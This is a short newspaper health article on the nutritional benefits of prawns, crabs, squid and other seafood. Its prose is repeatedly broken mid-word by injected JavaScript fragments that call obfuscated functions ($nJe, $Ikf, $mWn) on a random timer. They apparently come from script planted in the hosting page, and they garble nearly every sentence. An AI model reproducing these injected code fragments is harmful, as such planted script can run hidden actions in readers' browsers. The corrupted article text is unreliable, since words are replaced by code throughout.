IN Fish

By Alice Smellie for The Mail on Sunday If you include one portion of seafood in your weekly diet, you may halve the chances of suffering a heart attack. Prawns, crabs, squid dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topus are just as packed with vitamins, minerals dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and fish oils as fish like salmon or cod. They all contain Omega-3 – a key fatty acid known dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to help with heart health. Although seafood contains cholesterol, it’s actually foods high in saturated fats – the type found in cheese, red meat dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and fast food – that increase levels of bad cholesterol in the body. So seafood is unlikely dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have a major impact on your blood cholesterol levels. The NHS advises against eating raw shellfish dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and raw seafood during pregnancy. Try dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to eat fresh seafood, as frozen products may contain more sodium – dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and we already consume twice as much as the recommended 6g a day. Here, Alice Smellie dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and nutritional therapist Jackie Lynch of the website well-well-well.co.uk explain what is in our favourite seafood.